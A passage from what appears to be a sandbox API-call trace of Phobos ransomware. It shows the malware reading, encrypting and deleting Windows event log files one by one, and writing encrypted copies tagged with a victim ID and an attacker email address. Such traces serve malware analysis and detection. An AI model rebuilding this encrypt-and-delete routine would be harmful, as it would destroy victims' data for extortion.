lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x11000, lpOverlapped=0x0) returned 1 [0058.457] CryptEncrypt (in: hKey=0x10dcb10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010, dwBufLen=0x11010 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010) returned 1 [0058.457] WriteFile (in: hFile=0x338, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x11010, lpOverlapped=0x0) returned 1 [0058.458] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dcbd0) returned 1 [0058.458] CryptSetKeyParam (hKey=0x10dcbd0, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0058.458] CryptEncrypt (in: hKey=0x10dcbd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0xb0, dwBufLen=0xb0 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0xb0) returned 1 [0058.458] CryptDestroyKey (hKey=0x10dcbd0) returned 1 [0058.458] WriteFile (in: hFile=0x338, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x162, lpOverlapped=0x0) returned 1 [0058.458] CryptDestroyKey (hKey=0x10dcb10) returned 1 [0058.458] CloseHandle (hObject=0x304) returned 1 [0058.459] CloseHandle (hObject=0x338) returned 1 [0058.460] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx")) returned 1 [0058.461] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0058.461] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0058.462] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=69632) returned 1 [0058.462] CloseHandle (hObject=0x338) returned 1 [0058.462] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx")) returned 0x20 [0058.462] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0058.462] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0058.462] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0058.462] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0058.462] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0058.462] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dc550) returned 1 [0058.462] CryptSetKeyParam (hKey=0x10dc550, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0058.462] ReadFile (in: hFile=0x338, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x11000, lpOverlapped=0x0) returned 1 [0058.471] CryptEncrypt (in: hKey=0x10dc550, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010, dwBufLen=0x11010 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010) returned 1 [0058.471] WriteFile (in: hFile=0x304, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x11010, lpOverlapped=0x0) returned 1 [0058.473] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dc590) returned 1 [0058.473] CryptSetKeyParam (hKey=0x10dc590, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0058.473] CryptEncrypt (in: hKey=0x10dc590, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x80, dwBufLen=0x80 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x80) returned 1 [0058.473] CryptDestroyKey (hKey=0x10dc590) returned 1 [0058.473] WriteFile (in: hFile=0x304, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x132, lpOverlapped=0x0) returned 1 [0058.473] CryptDestroyKey (hKey=0x10dc550) returned 1 [0058.473] CloseHandle (hObject=0x338) returned 1 [0058.473] CloseHandle (hObject=0x304) returned 1 [0058.475] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx")) returned 1 [0058.476] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0058.476] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0058.476] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=69632) returned 1 [0058.476] CloseHandle (hObject=0x304) returned 1 [0058.476] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx")) returned 0x20 [0058.476] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0058.476] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0058.476] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0058.476] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0058.476] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0058.477] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dc610) returned 1 [0058.477] CryptSetKeyParam (hKey=0x10dc610, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0058.477] ReadFile (in: hFile=0x304, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x11000, lpOverlapped=0x0) returned 1 [0058.482] CryptEncrypt (in: hKey=0x10dc610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010, dwBufLen=0x11010 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010) returned 1 [0058.482] WriteFile (in: hFile=0x338, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x11010, lpOverlapped=0x0) returned 1 [0058.483] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dcbd0) returned 1 [0058.483] CryptSetKeyParam (hKey=0x10dcbd0, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0058.483] CryptEncrypt (in: hKey=0x10dcbd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x90, dwBufLen=0x90 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x90) returned 1 [0058.483] CryptDestroyKey (hKey=0x10dcbd0) returned 1 [0058.483] WriteFile (in: hFile=0x338, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x142, lpOverlapped=0x0) returned 1 [0058.483] CryptDestroyKey (hKey=0x10dc610) returned 1 [0058.483] CloseHandle (hObject=0x304) returned 1 [0058.484] CloseHandle (hObject=0x338) returned 1 [0058.485] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx")) returned 1 [0058.487] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0058.487] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0058.487] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=69632) returned 1 [0058.487] CloseHandle (hObject=0x338) returned 1 [0058.487] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx")) returned 0x20 [0058.487] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0058.487] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0058.487] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0058.487] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0058.487] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0058.488] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dc690) returned 1 [0058.488] CryptSetKeyParam (hKey=0x10dc690, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0058.489] ReadFile (in: hFile=0x338, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x11000, lpOverlapped=0x0) returned 1 [0058.510] CryptEncrypt (in: hKey=0x10dc690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010, dwBufLen=0x11010 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010) returned 1 [0058.510] WriteFile (in: hFile=0x304, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x11010, lpOverlapped=0x0) returned 1 [0058.512] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dc850) returned 1 [0058.512] CryptSetKeyParam (hKey=0x10dc850, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0058.512] CryptEncrypt (in: hKey=0x10dc850, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0xa0, dwBufLen=0xa0 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0xa0) returned 1 [0058.512] CryptDestroyKey (hKey=0x10dc850) returned 1 [0058.512] WriteFile (in: hFile=0x304, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x152, lpOverlapped=0x0) returned 1 [0058.512] CryptDestroyKey (hKey=0x10dc690) returned 1 [0058.512] CloseHandle (hObject=0x338) returned 1 [0058.512] CloseHandle (hObject=0x304) returned 1 [0058.514] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx")) returned 1 [0058.515] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0058.515] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0058.515] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=69632) returned 1 [0058.515] CloseHandle (hObject=0x304) returned 1 [0058.516] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx")) returned 0x20 [0058.516] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0058.516] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0058.516] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0058.516] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0058.516] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0058.517] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dc790) returned 1 [0058.517] CryptSetKeyParam (hKey=0x10dc790, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0058.517] ReadFile (in: hFile=0x304, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x11000, lpOverlapped=0x0) returned 1 [0058.525] CryptEncrypt (in: hKey=0x10dc790, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010, dwBufLen=0x11010 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010) returned 1 [0058.525] WriteFile (in: hFile=0x338, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x11010, lpOverlapped=0x0) returned 1 [0058.527] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dc6d0) returned 1 [0058.527] CryptSetKeyParam (hKey=0x10dc6d0, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0058.527] CryptEncrypt (in: hKey=0x10dc6d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x90, dwBufLen=0x90 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x90) returned 1 [0058.527] CryptDestroyKey (hKey=0x10dc6d0) returned 1 [0058.527] WriteFile (in: hFile=0x338, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x142, lpOverlapped=0x0) returned 1 [0058.527] CryptDestroyKey (hKey=0x10dc790) returned 1 [0058.527] CloseHandle (hObject=0x304) returned 1 [0058.527] CloseHandle (hObject=0x338) returned 1 [0058.529] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx")) returned 1 [0058.530] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0058.530] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0058.587] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=69632) returned 1 [0058.587] CloseHandle (hObject=0x330) returned 1 [0058.587] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx")) returned 0x20 [0058.587] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0058.587] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0058.587] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0058.587] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0058.587] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0058.588] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dc9d0) returned 1 [0058.588] CryptSetKeyParam (hKey=0x10dc9d0, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0058.588] ReadFile (in: hFile=0x330, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x11000, lpOverlapped=0x0) returned 1 [0058.625] CryptEncrypt (in: hKey=0x10dc9d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010, dwBufLen=0x11010 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010) returned 1 [0058.625] WriteFile (in: hFile=0x300, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x11010, lpOverlapped=0x0) returned 1 [0058.627] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dc750) returned 1 [0058.627] CryptSetKeyParam (hKey=0x10dc750, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0058.627] CryptEncrypt (in: hKey=0x10dc750, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x90, dwBufLen=0x90 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x90) returned 1 [0058.627] CryptDestroyKey (hKey=0x10dc750) returned 1 [0058.627] WriteFile (in: hFile=0x300, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x142, lpOverlapped=0x0) returned 1 [0058.628] CryptDestroyKey (hKey=0x10dc9d0) returned 1 [0058.628] CloseHandle (hObject=0x330) returned 1 [0058.628] CloseHandle (hObject=0x300) returned 1 [0058.629] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx")) returned 1 [0058.631] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0058.631] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0058.631] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=69632) returned 1 [0058.631] CloseHandle (hObject=0x300) returned 1 [0058.631] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx")) returned 0x20 [0058.631] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0058.631] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0058.631] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, 